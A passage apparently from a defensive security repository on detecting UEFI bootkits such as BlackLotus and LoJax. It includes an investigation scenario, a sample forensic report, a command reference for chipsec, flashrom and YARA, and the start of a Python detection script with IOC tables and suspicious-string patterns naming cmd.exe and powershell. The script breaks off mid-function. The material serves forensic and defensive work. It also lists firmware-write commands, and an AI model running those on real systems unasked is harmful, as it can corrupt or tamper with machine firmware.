| **Machine Owner Key (MOK)** | User-installable Secure Boot key; BlackLotus enrolls attacker-controlled MOKs to sign malicious bootloaders |
|
||||
| **chipsec** | Intel platform security assessment framework for analyzing SPI flash, UEFI variables, Secure Boot, and hardware security configurations |
|
||||
| **HVCI** | Hypervisor-enforced Code Integrity, a Windows security feature that bootkits disable to load unsigned kernel drivers |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **chipsec**: Intel framework for dumping SPI flash, reading UEFI variables, verifying firmware write protection, and Secure Boot configuration auditing
|
||||
- **UEFITool**: Open-source UEFI firmware image parser for inspecting firmware volumes, extracting DXE drivers, and comparing module GUIDs
|
||||
- **sigcheck**: Sysinternals utility for verifying digital signatures of EFI binaries and boot chain components
|
||||
- **flashrom**: Open-source SPI flash programmer for reading and writing firmware chips on supported platforms
|
||||
- **YARA**: Pattern matching engine used with UEFI-specific rule sets to detect known bootkit signatures in firmware dumps
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation
|
||||
|
||||
**Context**: An enterprise endpoint was reimaged after a confirmed breach, but identical C2 beaconing resumed within hours. The endpoint has UEFI firmware with Secure Boot enabled, and a TPM 2.0 chip. The security team suspects a UEFI-level implant similar to BlackLotus or LoJax.
|
||||
|
||||
**Approach**:
|
||||
1. Boot the system from a trusted Linux live USB to avoid executing any compromised OS components
|
||||
2. Dump SPI flash firmware using `chipsec_util.py spi dump` for offline analysis
|
||||
3. Mount the ESP and hash all `.efi` files for comparison against known-good values from identical hardware
|
||||
4. Check for the `ESP:/system32/` directory (BlackLotus indicator) and unauthorized `grubx64.efi`
|
||||
5. Extract firmware modules with UEFIExtract and compare GUID inventory against vendor baseline
|
||||
6. Verify Secure Boot variables -- look for unauthorized MOK enrollment or modified db/dbx
|
||||
7. Check SPI flash write protection and lock bits using chipsec modules
|
||||
8. Scan firmware dump and extracted modules with UEFI-specific YARA rules
|
||||
9. If BlackLotus is suspected, check registry for HVCI disabled and MeasuredBoot logs for anomalous entries
|
||||
|
||||
**Pitfalls**:
|
||||
- Running analysis from the compromised OS (rootkit components hide from live analysis)
|
||||
- Only checking the ESP without examining SPI flash firmware (misses firmware-level implants like LoJax, MoonBounce)
|
||||
- Assuming Secure Boot prevents all bootkits (CVE-2022-21894 and other bypasses exist)
|
||||
- Not preserving the original firmware dump before remediation (critical forensic evidence)
|
||||
- Reflashing firmware without verifying the vendor image is authentic and unmodified
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
UEFI BOOTKIT PERSISTENCE ANALYSIS REPORT
|
||||
============================================
|
||||
System: Lenovo ThinkPad X1 Carbon Gen 11
|
||||
Firmware: N3HET82W (1.54) - Lenovo UEFI BIOS
|
||||
Platform: Intel 13th Gen (Raptor Lake)
|
||||
TPM: 2.0 (Infineon SLB 9672)
|
||||
Secure Boot: ENABLED (BYPASSED via CVE-2022-21894)
|
||||
Analysis Method: Linux live USB + chipsec + UEFITool
|
||||
|
||||
SPI FLASH PROTECTION STATUS
|
||||
BIOS Write Protection: DISABLED [!]
|
||||
SPI Flash Lock (FLOCKDN): SET [OK]
|
||||
SMM BIOS Write Protect: DISABLED [!]
|
||||
SPI Protected Ranges: Region 0 only (descriptor)
|
||||
|
||||
UEFI VARIABLE ANALYSIS
|
||||
SecureBoot: Enabled (value=1)
|
||||
SetupMode: Disabled (value=0)
|
||||
PK: Lenovo Ltd. (legitimate)
|
||||
KEK: Microsoft + Lenovo (legitimate)
|
||||
db: MODIFIED - contains unauthorized entry [!]
|
||||
[!] Unknown certificate: CN=Secure Boot Signing, O=Unknown
|
||||
[!] Not present in vendor baseline db
|
||||
MOK: 1 unauthorized key enrolled [!]
|
||||
[!] MOK enrolled: CN=shim, self-signed, not from distro vendor
|
||||
|
||||
ESP PARTITION ANALYSIS
|
||||
Total EFI binaries: 12
|
||||
Verified (signed): 9
|
||||
Modified (hash mismatch): 2 [!]
|
||||
Unauthorized: 1 [!]
|
||||
|
||||
[!] EFI/Microsoft/Boot/bootmgfw.efi - MODIFIED
|
||||
Expected SHA-256: a3f2c8...
|
||||
Current SHA-256: 7b1e4d...
|
||||
Signature: Valid (signed with unauthorized MOK)
|
||||
|
||||
[!] EFI/Microsoft/Boot/grubx64.efi - UNAUTHORIZED
|
||||
SHA-256: e9c1a7...
|
||||
Not present in vendor baseline
|
||||
Matches BlackLotus stage-2 loader signature
|
||||
|
||||
[!] system32/ directory present on ESP (BlackLotus artifact)
|
||||
Directory empty (files deleted post-installation)
|
||||
|
||||
FIRMWARE MODULE ANALYSIS
|
||||
Total firmware modules: 312
|
||||
Vendor baseline modules: 312
|
||||
Added modules: 0
|
||||
Modified modules: 0
|
||||
SPI flash integrity: CLEAN (no firmware-level implant detected)
|
||||
|
||||
BOOTKIT ATTRIBUTION
|
||||
Family: BlackLotus
|
||||
Confidence: HIGH
|
||||
Persistence: ESP-based (not SPI flash)
|
||||
Bypass Method: CVE-2022-21894 (baton drop)
|
||||
MITRE ATT&CK: T1542.003 (Bootkit), T1553.006 (Code Signing Policy Modification)
|
||||
|
||||
INDICATORS OF COMPROMISE
|
||||
- ESP:/system32/ directory (empty, post-cleanup artifact)
|
||||
- ESP:/EFI/Microsoft/Boot/grubx64.efi (unauthorized, BlackLotus loader)
|
||||
- Modified bootmgfw.efi (re-signed with attacker MOK)
|
||||
- HVCI disabled via registry: DeviceGuard\...\Enabled = 0
|
||||
- Unauthorized MOK enrollment in UEFI variable store
|
||||
- MeasuredBoot log shows EV_EFI_Boot_Services_Application for grubx64.efi
|
||||
|
||||
REMEDIATION
|
||||
1. Replace bootmgfw.efi with authentic copy from Windows installation media
|
||||
2. Delete unauthorized grubx64.efi and system32/ directory from ESP
|
||||
3. Reset Secure Boot keys to factory defaults (clear MOK, restore PK/KEK/db)
|
||||
4. Enable BIOS write protection and verify SPI flash lock bits
|
||||
5. Apply firmware update to latest version (patches CVE-2022-21894)
|
||||
6. Enable HVCI and verify via Group Policy
|
||||
7. Reimport only trusted certificates into Secure Boot db
|
||||
8. Monitor MeasuredBoot logs for anomalous boot component loading
|
||||
```
|
||||
@@ -0,0 +1,138 @@
|
||||
# API Reference: UEFI Bootkit Analysis Tools
|
||||
|
||||
## chipsec - Platform Security Assessment Framework
|
||||
|
||||
### SPI Flash Operations
|
||||
```bash
|
||||
python chipsec_util.py spi info # SPI flash info
|
||||
python chipsec_util.py spi dump firmware.rom # Dump entire SPI flash
|
||||
python chipsec_util.py spi read 0x700000 0x100000 bios.bin # Read specific region
|
||||
python chipsec_util.py spi write 0x0 0x1000 data.bin # Write to SPI flash
|
||||
```
|
||||
|
||||
### UEFI Variable Operations
|
||||
```bash
|
||||
python chipsec_util.py uefi var-list # List all UEFI variables
|
||||
python chipsec_util.py uefi var-list-spi firmware.rom # List vars from dump
|
||||
python chipsec_util.py uefi var-read <name> <GUID> # Read specific variable
|
||||
python chipsec_util.py uefi var-find <name> # Find variable by name
|
||||
python chipsec_util.py uefi keys # Dump Secure Boot keys
|
||||
python chipsec_util.py uefi tables # List UEFI tables
|
||||
python chipsec_util.py uefi decode firmware.rom # Decode firmware image
|
||||
```
|
||||
|
||||
### Security Assessment Modules
|
||||
```bash
|
||||
python chipsec_main.py -m <module> # Run security module
|
||||
python chipsec_main.py -m common.secureboot.variables # Secure Boot check
|
||||
python chipsec_main.py -m common.bios_wp # BIOS write protection
|
||||
python chipsec_main.py -m common.spi_lock # SPI flash lock bits
|
||||
python chipsec_main.py -m common.spi_access # SPI region permissions
|
||||
python chipsec_main.py -m common.spi_desc # SPI descriptor check
|
||||
python chipsec_main.py -m common.smm # SMM protection
|
||||
python chipsec_main.py -m common.bios_smi # SMI suppression
|
||||
```
|
||||
|
||||
### Firmware Whitelist Module
|
||||
```bash
|
||||
# Generate whitelist from known-good firmware
|
||||
python chipsec_main.py -m tools.uefi.whitelist -a generate,baseline.json,vendor.rom
|
||||
|
||||
# Check firmware against whitelist
|
||||
python chipsec_main.py -m tools.uefi.whitelist -a check,baseline.json,suspect.rom
|
||||
```
|
||||
|
||||
### Key Modules Reference
|
||||
| Module | Purpose |
|
||||
|--------|---------|
|
||||
| `common.secureboot.variables` | Verify Secure Boot PK, KEK, db, dbx variables |
|
||||
| `common.bios_wp` | Check BIOS region write protection (BIOSWE, BLE, SMM_BWP) |
|
||||
| `common.spi_lock` | Verify SPI flash controller lock (FLOCKDN) |
|
||||
| `common.spi_access` | Check SPI flash region read/write permissions |
|
||||
| `common.spi_desc` | Verify SPI flash descriptor is write-protected |
|
||||
| `common.smm` | Verify SMRAM range register protection (SMRR) |
|
||||
| `common.bios_smi` | Check SMI event configuration and suppression |
|
||||
| `tools.uefi.whitelist` | Generate and verify firmware module whitelists |
|
||||
| `tools.uefi.scan_image` | Scan firmware image for known vulnerabilities |
|
||||
| `tools.uefi.uefivar_fuzz` | Fuzz UEFI variable interface for vulnerabilities |
|
||||
|
||||
## UEFITool / UEFIExtract
|
||||
|
||||
### UEFIExtract CLI
|
||||
```bash
|
||||
UEFIExtract firmware.rom all # Extract all modules
|
||||
UEFIExtract firmware.rom <GUID> body # Extract specific module
|
||||
UEFIExtract firmware.rom report # Generate report
|
||||
```
|
||||
|
||||
### Output Structure
|
||||
Extracted firmware is organized by GUID into a directory tree containing:
|
||||
- PEI modules (Pre-EFI Initialization)
|
||||
- DXE drivers (Driver Execution Environment)
|
||||
- SMM drivers (System Management Mode)
|
||||
- Option ROMs
|
||||
- NVRAM variables
|
||||
|
||||
## Secure Boot Variable GUIDs
|
||||
|
||||
| Variable | GUID | Description |
|
||||
|----------|------|-------------|
|
||||
| `SecureBoot` | `8BE4DF61-93CA-11D2-AA0D-00E098032B8C` | Secure Boot enable status |
|
||||
| `SetupMode` | `8BE4DF61-93CA-11D2-AA0D-00E098032B8C` | Setup mode (keys not enrolled) |
|
||||
| `PK` | `8BE4DF61-93CA-11D2-AA0D-00E098032B8C` | Platform Key (root of trust) |
|
||||
| `KEK` | `8BE4DF61-93CA-11D2-AA0D-00E098032B8C` | Key Exchange Key |
|
||||
| `db` | `D719B2CB-3D3A-4596-A3BC-DAD00E67656F` | Signature database (allowed) |
|
||||
| `dbx` | `D719B2CB-3D3A-4596-A3BC-DAD00E67656F` | Forbidden signature database |
|
||||
| `MokList` | `605DAB50-E046-4300-ABB6-3DD810DD8B23` | Machine Owner Key list |
|
||||
|
||||
## flashrom - SPI Flash Programmer
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
flashrom -p internal -r firmware.rom # Read/dump flash
|
||||
flashrom -p internal -w clean.rom # Write/reflash
|
||||
flashrom -p internal --verify clean.rom # Verify contents
|
||||
flashrom -p internal --flash-size # Show flash size
|
||||
flashrom -L # List supported chips
|
||||
```
|
||||
|
||||
## sigcheck - Signature Verification (Windows)
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
sigcheck -a file.efi # Full signature info
|
||||
sigcheck -u -e C:\Windows\System32\drivers\ # Find unsigned drivers
|
||||
sigcheck -c -h file.efi # CSV output with hashes
|
||||
```
|
||||
|
||||
## bcdedit - Boot Configuration (Windows)
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
bcdedit /enum firmware # List firmware entries
|
||||
bcdedit /v # Verbose boot config
|
||||
bcdedit | findstr /i "testsigning nointegritychecks" # Check bypass flags
|
||||
```
|
||||
|
||||
## YARA - Firmware Pattern Scanning
|
||||
|
||||
### UEFI Bootkit Rules
|
||||
```bash
|
||||
yara -r uefi_bootkits.yar firmware.rom # Scan firmware dump
|
||||
yara -s -r rules.yar firmware.rom # Show matching strings
|
||||
```
|
||||
|
||||
### Example UEFI Detection Rule
|
||||
```yara
|
||||
rule BlackLotus_ESP_Indicator {
|
||||
meta:
|
||||
description = "Detects BlackLotus ESP-based bootkit artifacts"
|
||||
reference = "ESET Research 2023"
|
||||
strings:
|
||||
$mok_enroll = { 4D 00 6F 00 6B 00 4C 00 69 00 73 00 74 }
|
||||
$esp_path = "\\EFI\\Microsoft\\Boot\\grubx64.efi"
|
||||
$hvci_disable = "HypervisorEnforcedCodeIntegrity"
|
||||
condition:
|
||||
any of them
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,563 @@
|
||||
#!/usr/bin/env python3
|
||||
"""UEFI bootkit persistence analysis agent for detecting firmware implants,
|
||||
ESP modifications, Secure Boot bypasses, and UEFI variable manipulation."""
|
||||
|
||||
import argparse
|
||||
import struct
|
||||
import hashlib
|
||||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import re
|
||||
import math
|
||||
import json
|
||||
from collections import Counter
|
||||
from pathlib import Path
|
||||
|
||||
DISCLAIMER = """
|
||||
==========================================================================
|
||||
AUTHORIZED USE ONLY -- This tool is intended for authorized firmware
|
||||
security assessments, incident response, and defensive security research.
|
||||
Analyzing UEFI firmware and boot components requires appropriate system
|
||||
access and authorization. Unauthorized firmware modification or Secure
|
||||
Boot key manipulation may render systems unbootable or violate policy.
|
||||
==========================================================================
|
||||
"""
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Known Bootkit Signatures and IOCs
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
KNOWN_BOOTKITS = {
|
||||
"BlackLotus": {
|
||||
"description": "First in-the-wild UEFI bootkit bypassing Secure Boot on fully patched Windows 11",
|
||||
"cve": "CVE-2022-21894",
|
||||
"persistence": "ESP-based (modifies bootmgfw.efi, enrolls attacker MOK)",
|
||||
"esp_indicators": ["system32/", "grubx64.efi"],
|
||||
"registry_indicators": {
|
||||
r"SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity": {
|
||||
"Enabled": 0
|
||||
}
|
||||
},
|
||||
"mitre": "T1542.003",
|
||||
},
|
||||
"LoJax": {
|
||||
"description": "First SPI flash firmware implant found in the wild (APT28/Fancy Bear)",
|
||||
"cve": None,
|
||||
"persistence": "SPI flash (injects DXE driver into firmware volume)",
|
||||
"firmware_indicators": ["rpcnetp.exe", "autoche.exe"],
|
||||
"dxe_modifications": True,
|
||||
"mitre": "T1542.001",
|
||||
},
|
||||
"MoonBounce": {
|
||||
"description": "SPI flash implant modifying CORE_DXE module to hook GetVariable()",
|
||||
"cve": None,
|
||||
"persistence": "SPI flash (modifies CORE_DXE firmware module)",
|
||||
"firmware_indicators": ["CORE_DXE modification", "GetVariable hook"],
|
||||
"dxe_modifications": True,
|
||||
"mitre": "T1542.001",
|
||||
},
|
||||
"CosmicStrand": {
|
||||
"description": "Firmware rootkit modifying CORE_DXE to hook kernel initialization",
|
||||
"cve": None,
|
||||
"persistence": "SPI flash (patches CORE_DXE)",
|
||||
"firmware_indicators": ["CORE_DXE modification", "kernel callback shellcode"],
|
||||
"dxe_modifications": True,
|
||||
"mitre": "T1542.001",
|
||||
},
|
||||
"ESPecter": {
|
||||
"description": "ESP-based bootkit that patches winload.efi to disable DSE",
|
||||
"cve": None,
|
||||
"persistence": "ESP-based (modifies Windows Boot Manager)",
|
||||
"esp_indicators": ["modified winload.efi", "unsigned kernel driver"],
|
||||
"mitre": "T1542.003",
|
||||
},
|
||||
"MosaicRegressor": {
|
||||
"description": "Multi-component UEFI implant using NTFS file drops via READY_TO_BOOT callbacks",
|
||||
"cve": None,
|
||||
"persistence": "SPI flash (READY_TO_BOOT callback for NTFS drops)",
|
||||
"firmware_indicators": ["fTA variable", "READY_TO_BOOT callback"],
|
||||
"dxe_modifications": True,
|
||||
"mitre": "T1542.001",
|
||||
},
|
||||
"Bootkitty": {
|
||||
"description": "First UEFI bootkit targeting Linux systems",
|
||||
"cve": None,
|
||||
"persistence": "ESP-based (modifies GRUB bootloader)",
|
||||
"esp_indicators": ["modified grubx64.efi"],
|
||||
"mitre": "T1542.003",
|
||||
},
|
||||
}
|
||||
|
||||
# UEFI Secure Boot variable GUIDs
|
||||
SECUREBOOT_GUID = "8BE4DF61-93CA-11D2-AA0D-00E098032B8C"
|
||||
IMAGE_SECURITY_GUID = "D719B2CB-3D3A-4596-A3BC-DAD00E67656F"
|
||||
|
||||
# Standard UEFI firmware volume GUIDs
|
||||
KNOWN_FV_GUIDS = {
|
||||
"8C8CE578-8A3D-4F1C-9935-896185C32DD3": "Firmware File System (FFS) v2",
|
||||
"5473C07A-3DCB-4DCA-BD6F-1E9689E7349A": "Firmware File System (FFS) v3",
|
||||
"04ADEEAD-61FF-4D31-B6BA-64F8BF901F5A": "Apple ROM section",
|
||||
"16B45DA2-7D70-4AEA-A58D-760E9ECB841D": "DXE Core volume",
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# ESP Partition Analysis
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def scan_esp_partition(esp_mount_path):
|
||||
"""Scan a mounted EFI System Partition for bootkit indicators."""
|
||||
findings = []
|
||||
if not os.path.isdir(esp_mount_path):
|
||||
return [{"severity": "ERROR", "message": f"ESP path not found: {esp_mount_path}"}]
|
||||
|
||||
# Check for BlackLotus system32 directory
|
||||
system32_path = os.path.join(esp_mount_path, "system32")
|
||||
if os.path.exists(system32_path):
|
||||
findings.append({
|
||||
"severity": "CRITICAL",
|
||||
"indicator": "BlackLotus",
|
||||
"message": f"BlackLotus artifact: system32/ directory found on ESP at {system32_path}",
|
||||
"path": system32_path,
|
||||
})
|
||||
|
||||
# Enumerate all EFI binaries
|
||||
efi_files = []
|
||||
for root, dirs, files in os.walk(esp_mount_path):
|
||||
for fname in files:
|
||||
if fname.lower().endswith(".efi"):
|
||||
full_path = os.path.join(root, fname)
|
||||
rel_path = os.path.relpath(full_path, esp_mount_path)
|
||||
file_hash = hash_file(full_path)
|
||||
file_size = os.path.getsize(full_path)
|
||||
efi_files.append({
|
||||
"path": rel_path,
|
||||
"full_path": full_path,
|
||||
"sha256": file_hash,
|
||||
"size": file_size,
|
||||
})
|
||||
|
||||
# Check for unauthorized grubx64.efi (BlackLotus indicator)
|
||||
for ef in efi_files:
|
||||
if "grubx64.efi" in ef["path"].lower():
|
||||
# grubx64.efi on a Windows-only system is suspicious
|
||||
findings.append({
|
||||
"severity": "HIGH",
|
||||
"indicator": "BlackLotus/Bootkitty",
|
||||
"message": f"Suspicious grubx64.efi found: {ef['path']} ({ef['size']} bytes)",
|
||||
"sha256": ef["sha256"],
|
||||
})
|
||||
|
||||
# Check for files outside standard EFI directories
|
||||
standard_dirs = {"efi", "boot", "microsoft", "ubuntu", "debian", "fedora", "grub"}
|
||||
for ef in efi_files:
|
||||
parts = Path(ef["path"]).parts
|
||||
top_dirs = {p.lower() for p in parts[:-1]}
|
||||
if not top_dirs.intersection(standard_dirs):
|
||||
findings.append({
|
||||
"severity": "MEDIUM",
|
||||
"indicator": "Unknown",
|
||||
"message": f"EFI binary in non-standard location: {ef['path']}",
|
||||
"sha256": ef["sha256"],
|
||||
})
|
||||
|
||||
return findings, efi_files
|
||||
|
||||
|
||||
def hash_file(file_path):
|
||||
"""Compute SHA-256 hash of a file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(file_path, "rb") as f:
|
||||
while True:
|
||||
chunk = f.read(65536)
|
||||
if not chunk:
|
||||
break
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Firmware Analysis
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
EFI_FV_HEADER_MAGIC = b"_FVH"
|
||||
PE_MAGIC = b"MZ"
|
||||
|
||||
|
||||
def scan_firmware_dump(firmware_path):
|
||||
"""Scan a raw firmware dump for EFI firmware volumes and PE/COFF executables."""
|
||||
if not os.path.isfile(firmware_path):
|
||||
return {"error": f"Firmware file not found: {firmware_path}"}
|
||||
|
||||
file_size = os.path.getsize(firmware_path)
|
||||
with open(firmware_path, "rb") as f:
|
||||
data = f.read()
|
||||
|
||||
firmware_hash = hashlib.sha256(data).hexdigest()
|
||||
results = {
|
||||
"file": os.path.basename(firmware_path),
|
||||
"size": file_size,
|
||||
"sha256": firmware_hash,
|
||||
"firmware_volumes": [],
|
||||
"pe_executables": [],
|
||||
"suspicious_strings": [],
|
||||
}
|
||||
|
||||
# Find firmware volume headers (_FVH signature at offset 0x28 in FV header)
|
||||
offset = 0
|
||||
while offset < len(data) - 0x40:
|
||||
idx = data.find(EFI_FV_HEADER_MAGIC, offset)
|
||||
if idx == -1:
|
||||
break
|
||||
# FV header signature is at offset 0x28 from the start of the volume
|
||||
fv_start = idx - 0x28
|
||||
if fv_start >= 0:
|
||||
# Parse FV header length (8 bytes at offset 0x20)
|
||||
fv_length = struct.unpack_from("<Q", data, fv_start + 0x20)[0]
|
||||
# Extract GUID (16 bytes at offset 0x10)
|
||||
guid_bytes = data[fv_start + 0x10:fv_start + 0x20]
|
||||
guid_str = format_guid(guid_bytes)
|
||||
results["firmware_volumes"].append({
|
||||
"offset": f"0x{fv_start:08X}",
|
||||
"length": fv_length,
|
||||
"guid": guid_str,
|
||||
"description": KNOWN_FV_GUIDS.get(guid_str, "Unknown firmware volume"),
|
||||
})
|
||||
offset = idx + 4
|
||||
|
||||
# Find PE/COFF executables (EFI binaries)
|
||||
offset = 0
|
||||
while offset < len(data) - 64:
|
||||
idx = data.find(PE_MAGIC, offset)
|
||||
if idx == -1:
|
||||
break
|
||||
# Verify PE header: check for "PE\0\0" at e_lfanew offset
|
||||
if idx + 0x3C < len(data):
|
||||
pe_offset = struct.unpack_from("<I", data, idx + 0x3C)[0]
|
||||
if idx + pe_offset + 4 < len(data):
|
||||
pe_sig = data[idx + pe_offset:idx + pe_offset + 4]
|
||||
if pe_sig == b"PE\x00\x00":
|
||||
results["pe_executables"].append({
|
||||
"offset": f"0x{idx:08X}",
|
||||
"pe_header_offset": f"0x{idx + pe_offset:08X}",
|
||||
})
|
||||
offset = idx + 2
|
||||
|
||||
# Scan for suspicious strings in firmware
|
||||
suspicious_patterns = [
|
||||
(rb"rpcnetp", "LoJax dropper component"),
|
||||
(rb"autoche", "LoJax persistence component"),
|
||||
(rb"SmmAccessDxe", "Potential DXE driver modification target"),
|
||||
(rb"CORE_DXE", "Core DXE module (MoonBounce/CosmicStrand target)"),
|
||||
(rb"GetVariable", "UEFI runtime service (hooking target)"),
|
||||
(rb"SetVariable", "UEFI runtime service (variable manipulation)"),
|
||||
(rb"READY_TO_BOOT", "Boot event callback (MosaicRegressor indicator)"),
|
||||
(rb"\\EFI\\Microsoft\\Boot", "Windows boot path reference"),
|
||||
(rb"cmd\.exe", "Command shell reference in firmware (suspicious)"),
|
||||
(rb"powershell", "PowerShell reference in firmware (suspicious)"),
|
||||
]
|
||||
for pattern, description in suspicious_patterns:
|
||||
matches = [m.start() for m in re.finditer(pattern, data, re.IGNORECASE)]
|
||||
if matches:
|
||||
results["suspicious_strings"].append({
|
||||
"pattern": pattern.decode("ascii", errors="replace"),
|
||||
"description": description,
|
||||
"occurrences": len(matches),
|
||||
"offsets": [f"0x{o:08X}" for o in matches[:5]],
|
||||
})
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def format_guid(guid_bytes):
|
||||
"""Format 16 raw GUID bytes into standard XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX form."""
|
||||
if len(guid_bytes) != 16:
|
||||
return guid_bytes.hex().upper()
|
||||
part1 = struct.unpack_from("<IHH", guid_bytes, 0)
|
||||
part2 = guid_bytes[8:16]
|
||||
return (f"{part1[0]:08X}-{part1[1]:04X}-{part1[2]:04X}-"
|
||||
f"{part2[0]:02X}{part2[1]:02X}-"
|
||||
f"{part2[2]:02X}{part2[3]:02X}{part2[4]:02X}"
|
||||
f"{part2[5]:02X}{part2[6]:02X}{part2[7]:02X}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Secure Boot Verification
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def check_secure_boot_status():
|
||||
"""Check Secure Boot status on the local system (Linux)."""
|
||||
results = {}
|
||||
# Try reading from efivarfs (Linux)
|
||||
efivar_path = "/sys/firmware/efi/efivars"
|
||||
if os.path.isdir(efivar_path):
|
||||
results["efi_available"] = True
|
||||
secureboot_var = os.path.join(
|
||||
efivar_path,
|
||||
f"SecureBoot-{SECUREBOOT_GUID.lower()}"
|
||||
)
|
||||
if os.path.exists(secureboot_var):
|
||||
with open(secureboot_var, "rb") as f:
|
||||
raw = f.read()
|
||||
# First 4 bytes are attributes, 5th byte is the value
|
||||
if len(raw) >= 5:
|
||||
value = raw[4]
|
||||
results["secure_boot_enabled"] = value == 1
|
||||
results["secure_boot_value"] = value
|
||||
setupmode_var = os.path.join(
|
||||
efivar_path,
|
||||
f"SetupMode-{SECUREBOOT_GUID.lower()}"
|
||||
)
|
||||
if os.path.exists(setupmode_var):
|
||||
with open(setupmode_var, "rb") as f:
|
||||
raw = f.read()
|
||||
if len(raw) >= 5:
|
||||
results["setup_mode"] = raw[4] == 1
|
||||
else:
|
||||
results["efi_available"] = False
|
||||
results["note"] = "Not a UEFI system or efivarfs not mounted"
|
||||
return results
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Chipsec Subprocess Interface
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def run_chipsec_module(module_name, args=None):
|
||||
"""Run a chipsec module via subprocess and return output."""
|
||||
cmd = ["python", "chipsec_main.py", "-m", module_name]
|
||||
if args:
|
||||
cmd.extend(["-a", args])
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
return {
|
||||
"module": module_name,
|
||||
"stdout": result.stdout,
|
||||
"stderr": result.stderr,
|
||||
"rc": result.returncode,
|
||||
"passed": "PASSED" in result.stdout,
|
||||
"failed": "FAILED" in result.stdout or "WARNING" in result.stdout,
|
||||
}
|
||||
except FileNotFoundError:
|
||||
return {"module": module_name, "error": "chipsec not found in PATH", "rc": -1}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"module": module_name, "error": "chipsec module timed out", "rc": -2}
|
||||
|
||||
|
||||
def run_chipsec_spi_dump(output_path):
|
||||
"""Dump SPI flash contents via chipsec."""
|
||||
cmd = ["python", "chipsec_util.py", "spi", "dump", output_path]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
return {"stdout": result.stdout, "stderr": result.stderr, "rc": result.returncode}
|
||||
except FileNotFoundError:
|
||||
return {"error": "chipsec not found in PATH", "rc": -1}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"error": "SPI dump timed out", "rc": -2}
|
||||
|
||||
|
||||
def run_firmware_security_audit():
|
||||
"""Run a comprehensive set of chipsec security modules."""
|
||||
modules = [
|
||||
("common.bios_wp", "BIOS region write protection"),
|
||||
("common.spi_lock", "SPI flash controller lock"),
|
||||
("common.spi_access", "SPI flash region access permissions"),
|
||||
("common.spi_desc", "SPI flash descriptor security"),
|
||||
("common.secureboot.variables", "Secure Boot variable configuration"),
|
||||
("common.smm", "SMM protection (SMRAM range)"),
|
||||
("common.bios_smi", "SMI suppression / BIOS write via SMI"),
|
||||
]
|
||||
results = {}
|
||||
for module, description in modules:
|
||||
print(f" Running: {module} ({description})...")
|
||||
result = run_chipsec_module(module)
|
||||
result["description"] = description
|
||||
results[module] = result
|
||||
return results
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Entropy Analysis for Firmware Regions
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def firmware_entropy_map(firmware_path, block_size=4096):
|
||||
"""Generate block-level entropy map to detect encrypted/compressed firmware regions."""
|
||||
results = []
|
||||
with open(firmware_path, "rb") as f:
|
||||
offset = 0
|
||||
while True:
|
||||
block = f.read(block_size)
|
||||
if not block:
|
||||
break
|
||||
counter = Counter(block)
|
||||
length = len(block)
|
||||
if length == 0:
|
||||
entropy = 0.0
|
||||
else:
|
||||
entropy = -sum(
|
||||
(c / length) * math.log2(c / length)
|
||||
for c in counter.values()
|
||||
)
|
||||
classification = "empty" if entropy < 1.0 else \
|
||||
"code/data" if entropy < 5.0 else \
|
||||
"compressed" if entropy < 7.5 else "encrypted/random"
|
||||
results.append({
|
||||
"offset": f"0x{offset:08X}",
|
||||
"entropy": round(entropy, 4),
|
||||
"classification": classification,
|
||||
})
|
||||
offset += len(block)
|
||||
return results
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main Entry Point
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def analyze_uefi_bootkit(target_path, target_type="firmware"):
|
||||
"""Perform UEFI bootkit persistence analysis on a firmware dump or ESP mount point."""
|
||||
print("=" * 65)
|
||||
print(" UEFI Bootkit Persistence Analysis Agent")
|
||||
print("=" * 65)
|
||||
|
||||
if target_type == "firmware" and os.path.isfile(target_path):
|
||||
print(f"\n[*] Analyzing firmware dump: {target_path}")
|
||||
print(f"[*] File size: {os.path.getsize(target_path)} bytes")
|
||||
print(f"[*] SHA-256: {hash_file(target_path)}")
|
||||
|
||||
# Firmware volume and PE scan
|
||||
print("\n--- Firmware Structure Analysis ---")
|
||||
fw_results = scan_firmware_dump(target_path)
|
||||
print(f" Firmware volumes found: {len(fw_results['firmware_volumes'])}")
|
||||
for fv in fw_results["firmware_volumes"]:
|
||||
print(f" {fv['offset']} GUID={fv['guid']} Size={fv['length']} [{fv['description']}]")
|
||||
print(f" PE/COFF executables found: {len(fw_results['pe_executables'])}")
|
||||
for pe in fw_results["pe_executables"][:10]:
|
||||
print(f" {pe['offset']} (PE header at {pe['pe_header_offset']})")
|
||||
|
||||
# Suspicious strings
|
||||
if fw_results["suspicious_strings"]:
|
||||
print("\n--- Suspicious Strings in Firmware ---")
|
||||
for ss in fw_results["suspicious_strings"]:
|
||||
